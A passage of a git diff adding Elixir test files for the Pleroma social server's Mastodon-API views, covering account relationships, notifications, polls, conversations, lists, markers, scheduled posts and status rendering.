+ } + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the blocking and blocked user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, user} = User.follow(user, other_user) + {:ok, _subscription} = User.subscribe(user, other_user) + {:ok, _user_relationship} = User.block(user, other_user) + {:ok, _user_relationship} = User.block(other_user, user) + + expected = + Map.merge( + @blank_response, + %{following: false, blocking: true, blocked_by: true, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the user blocking a domain" do + user = insert(:user) + other_user = insert(:user, ap_id: "https://bad.site/users/other_user") + + {:ok, user} = User.block_domain(user, "bad.site") + + expected = + Map.merge( + @blank_response, + %{domain_blocking: true, blocking: false, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the user with a pending follow request" do + user = insert(:user) + other_user = insert(:user, locked: true) + + {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + expected = + Map.merge( + @blank_response, + %{requested: true, following: false, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + end + + test "returns the settings store if the requesting user is the represented user and it's requested specifically" do + user = insert(:user, pleroma_settings_store: %{fe: "test"}) + + result = + AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true}) + + assert result.pleroma.settings_store == %{:fe => "test"} + + result = AccountView.render("show.json", %{user: user, for: nil, with_pleroma_settings: true}) + assert result.pleroma[:settings_store] == nil + + result = AccountView.render("show.json", %{user: user, for: user}) + assert result.pleroma[:settings_store] == nil + end + + test "doesn't sanitize display names" do + user = insert(:user, name: " username ") + result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + assert result.display_name == " username " + end + + test "never display nil user follow counts" do + user = insert(:user, following_count: 0, follower_count: 0) + result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert result.following_count == 0 + assert result.followers_count == 0 + end + + describe "hiding follows/following" do + test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do + user = + insert(:user, %{ + hide_followers: true, + hide_followers_count: true, + hide_follows: true, + hide_follows_count: true + }) + + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 0, + following_count: 0, + pleroma: %{hide_follows_count: true, hide_followers_count: true} + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "shows when follows/followers are hidden" do + user = insert(:user, hide_followers: true, hide_follows: true) + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 1, + following_count: 1, + pleroma: %{hide_follows: true, hide_followers: true} + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "shows actual follower/following count to the account owner" do + user = insert(:user, hide_followers: true, hide_follows: true) + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + + assert User.following?(user, other_user) + assert Pleroma.FollowingRelationship.follower_count(other_user) == 1 + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 1, + following_count: 1 + } = AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows unread_conversation_count only to the account owner" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(other_user, %{ + status: "Hey @#{user.nickname}.", + visibility: "direct" + }) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert AccountView.render("show.json", %{user: user, for: other_user})[:pleroma][ + :unread_conversation_count + ] == nil + + assert AccountView.render("show.json", %{user: user, for: user})[:pleroma][ + :unread_conversation_count + ] == 1 + end + + test "shows unread_count only to the account owner" do + user = insert(:user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + other_user = insert(:user) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert AccountView.render( + "show.json", + %{user: user, for: other_user} + )[:pleroma][:unread_notifications_count] == nil + + assert AccountView.render( + "show.json", + %{user: user, for: user} + )[:pleroma][:unread_notifications_count] == 7 + end + end + + describe "follow requests counter" do + test "shows zero when no follow requests are pending" do + user = insert(:user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when follow requests are pending" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when accepting a follow request" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when rejecting a follow request" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when historical unapproved requests are present" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + {:ok, user} = User.update_and_set_cache(user, %{locked: false}) + + assert %{locked: false, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + end + end + + test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled]) + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://evil.website/avatar.png"}]}, + banner: %{"url" => [%{"href" => "https://evil.website/banner.png"}]}, + emoji: %{"joker_smile" => "https://evil.website/society.png"} + ) + + with media_preview_enabled <- [false, true] do + Config.put([:media_preview_proxy, :enabled], media_preview_enabled) + + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + |> Enum.all?(fn + {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> + String.starts_with?(url, Pleroma.Web.base_url()) + + {:emojis, emojis} -> + Enum.all?(emojis, fn %{url: url, static_url: static_url} -> + String.starts_with?(url, Pleroma.Web.base_url()) && + String.starts_with?(static_url, Pleroma.Web.base_url()) + end) + + _ -> + true + end) + |> assert() + end + end +end diff --git a/test/pleroma/web/mastodon_api/views/conversation_view_test.exs b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs new file mode 100644 index 000000000..2e8203c9b --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do + use Pleroma.DataCase + + alias Pleroma.Conversation.Participation + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.ConversationView + + import Pleroma.Factory + + test "represents a Mastodon Conversation entity" do + user = insert(:user) + other_user = insert(:user) + + {:ok, parent} = CommonAPI.post(user, %{status: "parent"}) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}", + visibility: "direct", + in_reply_to_id: parent.id + }) + + {:ok, _reply_activity} = + CommonAPI.post(user, %{status: "hu", visibility: "public", in_reply_to_id: parent.id}) + + [participation] = Participation.for_user_with_last_activity_id(user) + + assert participation + + conversation = + ConversationView.render("participation.json", %{participation: participation, for: user}) + + assert conversation.id == participation.id |> to_string() + assert conversation.last_status.id == activity.id + + assert [account] = conversation.accounts + assert account.id == other_user.id + assert conversation.last_status.pleroma.direct_conversation_id == participation.id + end +end diff --git a/test/pleroma/web/mastodon_api/views/list_view_test.exs b/test/pleroma/web/mastodon_api/views/list_view_test.exs new file mode 100644 index 000000000..ca99242cb --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/list_view_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ListViewTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.MastodonAPI.ListView + + test "show" do + user = insert(:user) + title = "mortal enemies" + {:ok, list} = Pleroma.List.create(title, user) + + expected = %{ + id: to_string(list.id), + title: title + } + + assert expected == ListView.render("show.json", %{list: list}) + end + + test "index" do + user = insert(:user) + + {:ok, list} = Pleroma.List.create("my list", user) + {:ok, list2} = Pleroma.List.create("cofe", user) + + assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] = + ListView.render("index.json", lists: [list, list2]) + end +end diff --git a/test/pleroma/web/mastodon_api/views/marker_view_test.exs b/test/pleroma/web/mastodon_api/views/marker_view_test.exs new file mode 100644 index 000000000..48a0a6d33 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/marker_view_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do + use Pleroma.DataCase + alias Pleroma.Web.MastodonAPI.MarkerView + import Pleroma.Factory + + test "returns markers" do + marker1 = insert(:marker, timeline: "notifications", last_read_id: "17", unread_count: 5) + marker2 = insert(:marker, timeline: "home", last_read_id: "42") + + assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{ + "home" => %{ + last_read_id: "42", + updated_at: NaiveDateTime.to_iso8601(marker2.updated_at), + version: 0, + pleroma: %{unread_count: 0} + }, + "notifications" => %{ + last_read_id: "17", + updated_at: NaiveDateTime.to_iso8601(marker1.updated_at), + version: 0, + pleroma: %{unread_count: 5} + } + } + end +end diff --git a/test/pleroma/web/mastodon_api/views/notification_view_test.exs b/test/pleroma/web/mastodon_api/views/notification_view_test.exs new file mode 100644 index 000000000..2f6a808f1 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/notification_view_test.exs @@ -0,0 +1,231 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.MastodonAPI.NotificationView + alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + import Pleroma.Factory + + defp test_notifications_rendering(notifications, user, expected_result) do + result = NotificationView.render("index.json", %{notifications: notifications, for: user}) + + assert expected_result == result + + result = + NotificationView.render("index.json", %{ + notifications: notifications, + for: user, + relationships: nil + }) + + assert expected_result == result + end + + test "ChatMessage notification" do + user = insert(:user) + recipient = insert(:user) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "what's up my dude") + + {:ok, [notification]} = Notification.create_notifications(activity) + + object = Object.normalize(activity) + chat = Chat.get(recipient.id, user.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "pleroma:chat_mention", + account: AccountView.render("show.json", %{user: user, for: recipient}), + chat_message: MessageReferenceView.render("show.json", %{chat_message_reference: cm_ref}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], recipient, [expected]) + end + + test "Mention notification" do + user = insert(:user) + mentioned_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{mentioned_user.nickname}"}) + {:ok, [notification]} = Notification.create_notifications(activity) + user = User.get_cached_by_id(user.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "mention", + account: + AccountView.render("show.json", %{ + user: user, + for: mentioned_user + }), + status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], mentioned_user, [expected]) + end + + test "Favourite notification" do + user = insert(:user) + another_user = insert(:user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) + {:ok, [notification]} = Notification.create_notifications(favorite_activity) + create_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "favourite", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: create_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "Reblog notification" do + user = insert(:user) + another_user = insert(:user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, another_user) + {:ok, [notification]} = Notification.create_notifications(reblog_activity) + reblog_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "reblog", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: reblog_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "Follow notification" do + follower = insert(:user) + followed = insert(:user) + {:ok, follower, followed, _activity} = CommonAPI.follow(follower, followed) + notification = Notification |> Repo.one() |> Repo.preload(:activity) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "follow", + account: AccountView.render("show.json", %{user: follower, for: followed}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], followed, [expected]) + + User.perform(:delete, follower) + refute Repo.one(Notification) + end + + @tag capture_log: true + test "Move notification" do + old_user = insert(:user) + new_user = insert(:user, also_known_as: [old_user.ap_id]) + follower = insert(:user) + + old_user_url = old_user.ap_id + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + User.follow(follower, old_user) + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + Pleroma.Tests.ObanHelpers.perform_all() + + old_user = refresh_record(old_user) + new_user = refresh_record(new_user) + + [notification] = Notification.for_user(follower) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "move", + account: AccountView.render("show.json", %{user: old_user, for: follower}), + target: AccountView.render("show.json", %{user: new_user, for: follower}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], follower, [expected]) + end + + test "EmojiReact notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + activity = Repo.get(Activity, activity.id) + + [notification] = Notification.for_user(user) + + assert notification + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "pleroma:emoji_reaction", + emoji: "☕", + account: AccountView.render("show.json", %{user: other_user, for: user}), + status: StatusView.render("show.json", %{activity: activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "muted notification" do + user = insert(:user) + another_user = insert(:user) + + {:ok, _} = Pleroma.UserRelationship.create_mute(user, another_user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) + {:ok, [notification]} = Notification.create_notifications(favorite_activity) + create_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: true, is_muted: true}, + type: "favourite", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: create_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end +end diff --git a/test/pleroma/web/mastodon_api/views/poll_view_test.exs b/test/pleroma/web/mastodon_api/views/poll_view_test.exs new file mode 100644 index 000000000..b7e2f17ef --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/poll_view_test.exs @@ -0,0 +1,167 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.PollViewTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.PollView + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "renders a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Is Tenshi eating a corndog cute?", + poll: %{ + options: ["absolutely!", "sure", "yes", "why are you even asking?"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + expected = %{ + emojis: [], + expired: false, + id: to_string(object.id), + multiple: false, + options: [ + %{title: "absolutely!", votes_count: 0}, + %{title: "sure", votes_count: 0}, + %{title: "yes", votes_count: 0}, + %{title: "why are you even asking?", votes_count: 0} + ], + voted: false, + votes_count: 0, + voters_count: nil + } + + result = PollView.render("show.json", %{object: object}) + expires_at = result.expires_at + result = Map.delete(result, :expires_at) + + assert result == expected + + expires_at = NaiveDateTime.from_iso8601!(expires_at) + assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20 + end + + test "detects if it is multiple choice" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Which Mastodon developer is your favourite?", + poll: %{ + options: ["Gargron", "Eugen"], + expires_in: 20, + multiple: true + } + }) + + voter = insert(:user) + + object = Object.normalize(activity) + + {:ok, _votes, object} = CommonAPI.vote(voter, object, [0, 1]) + + assert match?( + %{ + multiple: true, + voters_count: 1, + votes_count: 2 + }, + PollView.render("show.json", %{object: object}) + ) + end + + test "detects emoji" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "What's with the smug face?", + poll: %{ + options: [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + assert %{emojis: [%{shortcode: "blank"}]} = PollView.render("show.json", %{object: object}) + end + + test "detects vote status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Which input devices do you use?", + poll: %{ + options: ["mouse", "trackball", "trackpoint"], + multiple: true, + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2]) + + result = PollView.render("show.json", %{object: object, for: other_user}) + + assert result[:voted] == true + assert Enum.at(result[:options], 1)[:votes_count] == 1 + assert Enum.at(result[:options], 2)[:votes_count] == 1 + end + + test "does not crash on polls with no end date" do + object = Object.normalize("https://skippers-bin.com/notes/7x9tmrp97i") + result = PollView.render("show.json", %{object: object}) + + assert result[:expires_at] == nil + assert result[:expired] == false + end + + test "doesn't strips HTML tags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "What's with the smug face?", + poll: %{ + options: [ + "", + "", + "", + "" + ], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + assert %{ + options: [ + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0} + ] + } = PollView.render("show.json", %{object: object}) + end +end diff --git a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs new file mode 100644 index 000000000..fbfd873ef --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do + use Pleroma.DataCase + alias Pleroma.ScheduledActivity + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.ScheduledActivityView + alias Pleroma.Web.MastodonAPI.StatusView + import Pleroma.Factory + + test "A scheduled activity with a media attachment" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hi"}) + + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(10), :millisecond) + |> NaiveDateTime.to_iso8601() + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + attrs = %{ + params: %{ + "media_ids" => [upload.id], + "status" => "hi", + "sensitive" => true, + "spoiler_text" => "spoiler", + "visibility" => "unlisted", + "in_reply_to_id" => to_string(activity.id) + }, + scheduled_at: scheduled_at + } + + {:ok, scheduled_activity} = ScheduledActivity.create(user, attrs) + result = ScheduledActivityView.render("show.json", %{scheduled_activity: scheduled_activity}) + + expected = %{ + id: to_string(scheduled_activity.id), + media_attachments: + %{media_ids: [upload.id]} + |> Utils.attachments_from_ids() + |> Enum.map(&StatusView.render("attachment.json", %{attachment: &1})), + params: %{ + in_reply_to_id: to_string(activity.id), + media_ids: [upload.id], + poll: nil, + scheduled_at: nil, + sensitive: true, + spoiler_text: "spoiler", + text: "hi", + visibility: "unlisted" + }, + scheduled_at: Utils.to_masto_date(scheduled_activity.scheduled_at) + } + + assert expected == result + end +end diff --git a/test/pleroma/web/mastodon_api/views/status_view_test.exs b/test/pleroma/web/mastodon_api/views/status_view_test.exs new file mode 100644 index 000000000..70d829979 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/status_view_test.exs @@ -0,0 +1,664 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusViewTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Bookmark + alias Pleroma.Conversation.Participation + alias Pleroma.HTML + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.UserRelationship + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.MastodonAPI.StatusView + + import Pleroma.Factory + import Tesla.Mock + import OpenApiSpex.TestAssertions + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "has an emoji reaction list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"}) + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "☕") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + activity = Repo.get(Activity, activity.id) + status = StatusView.render("show.json", activity: activity) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 2, me: false}, + %{name: "🍵", count: 1, me: false} + ] + + status = StatusView.render("show.json", activity: activity, for: user) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 2, me: true}, + %{name: "🍵", count: 1, me: false} + ] + end + + test "works correctly with badly formatted emojis" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "yo"}) + + activity + |> Object.normalize(false) + |> Object.update_data(%{"reactions" => %{"☕" => [user.ap_id], "x" => 1}}) + + activity = Activity.get_by_id(activity.id) + + status = StatusView.render("show.json", activity: activity, for: user) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 1, me: true} + ] + end + + test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + [participation] = Participation.for_user(user) + + status = + StatusView.render("show.json", + activity: activity, + with_direct_conversation_id: true, + for: user + ) + + assert status[:pleroma][:direct_conversation_id] == participation.id + + status = StatusView.render("show.json", activity: activity, for: user) + assert status[:pleroma][:direct_conversation_id] == nil + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "returns the direct conversation id when given the `direct_conversation_id` option" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + [participation] = Participation.for_user(user) + + status = + StatusView.render("show.json", + activity: activity, + direct_conversation_id: participation.id, + for: user + ) + + assert status[:pleroma][:direct_conversation_id] == participation.id + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "returns a temporary ap_id based user for activities missing db users" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + + Repo.delete(user) + Cachex.clear(:user_cache) + + finger_url = + "https://localhost/.well-known/webfinger?resource=acct:#{user.nickname}@localhost" + + Tesla.Mock.mock_global(fn + %{method: :get, url: "http://localhost/.well-known/host-meta"} -> + %Tesla.Env{status: 404, body: ""} + + %{method: :get, url: "https://localhost/.well-known/host-meta"} -> + %Tesla.Env{status: 404, body: ""} + + %{ + method: :get, + url: ^finger_url + } -> + %Tesla.Env{status: 404, body: ""} + end) + + %{account: ms_user} = StatusView.render("show.json", activity: activity) + + assert ms_user.acct == "erroruser@example.com" + end + + test "tries to get a user by nickname if fetching by ap_id doesn't work" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + + {:ok, user} = + user + |> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"}) + |> Repo.update() + + Cachex.clear(:user_cache) + + result = StatusView.render("show.json", activity: activity) + + assert result[:account][:id] == to_string(user.id) + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a note with null content" do + note = insert(:note_activity) + note_object = Object.normalize(note) + + data = + note_object.data + |> Map.put("content", nil) + + Object.change(note_object, %{data: data}) + |> Object.update_and_set_cache() + + User.get_cached_by_ap_id(note.data["actor"]) + + status = StatusView.render("show.json", %{activity: note}) + + assert status.content == "" + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a note activity" do + note = insert(:note_activity) + object_data = Object.normalize(note).data + user = User.get_cached_by_ap_id(note.data["actor"]) + + convo_id = Utils.context_to_conversation_id(object_data["context"]) + + status = StatusView.render("show.json", %{activity: note}) + + created_at = + (object_data["published"] || "") + |> String.replace(~r/\.\d+Z/, ".000Z") + + expected = %{ + id: to_string(note.id), + uri: object_data["id"], + url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note), + account: AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + in_reply_to_id: nil, + in_reply_to_account_id: nil, + card: nil, + reblog: nil, + content: HTML.filter_tags(object_data["content"]), + text: nil, + created_at: created_at, + reblogs_count: 0, + replies_count: 0, + favourites_count: 0, + reblogged: false, + bookmarked: false, + favourited: false, + muted: false, + pinned: false, + sensitive: false, + poll: nil, + spoiler_text: HTML.filter_tags(object_data["summary"]), + visibility: "public", + media_attachments: [], + mentions: [], + tags: [ + %{ + name: "#{object_data["tag"]}", + url: "/tag/#{object_data["tag"]}" + } + ], + application: %{ + name: "Web", + website: nil + }, + language: nil, + emojis: [ + %{ + shortcode: "2hu", + url: "corndog.png", + static_url: "corndog.png", + visible_in_picker: false + } + ], + pleroma: %{ + local: true, + conversation_id: convo_id, + in_reply_to_account_acct: nil, + content: %{"text/plain" => HTML.strip_tags(object_data["content"])}, + spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])}, + expires_at: nil, + direct_conversation_id: nil, + thread_muted: false, + emoji_reactions: [], + parent_visible: false + } + } + + assert status == expected + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "tells if the message is muted for some reason" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) + + relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) + + opts = %{activity: activity} + status = StatusView.render("show.json", opts) + assert status.muted == false + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + status = StatusView.render("show.json", Map.put(opts, :relationships, relationships_opt)) + assert status.muted == false + + for_opts = %{activity: activity, for: user} + status = StatusView.render("show.json", for_opts) + assert status.muted == true + + status = 